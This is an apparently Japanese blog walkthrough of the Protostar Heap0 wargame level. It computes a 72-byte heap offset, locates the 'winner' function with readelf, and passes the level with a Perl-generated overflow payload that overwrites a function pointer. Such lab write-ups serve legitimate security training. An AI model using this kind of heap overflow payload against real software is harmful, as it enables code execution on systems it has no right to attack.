いきなり難しいのでなくて、ちゃんとこのレベルから用意されてあるのはよいと思う。

Protostar Heap0

mallocで返されるアドレス間の距離が実行ごとに変化することはない。

$ ./heap0 '' ''
data is at 0x9afb008, fp is at 0x9afb050
level has not been passed

$ echo $[0x9afb050 - 0x9afb008]
72

$ readelf -s heap0 | grep '\<winner\>'
    55: 08048464    20 FUNC    GLOBAL DEFAULT   14 winner

$ ./heap0 $(perl -e 'print "A"x72, "\x64\x84\x04\x08"')
data is at 0x8522008, fp is at 0x8522050
level passed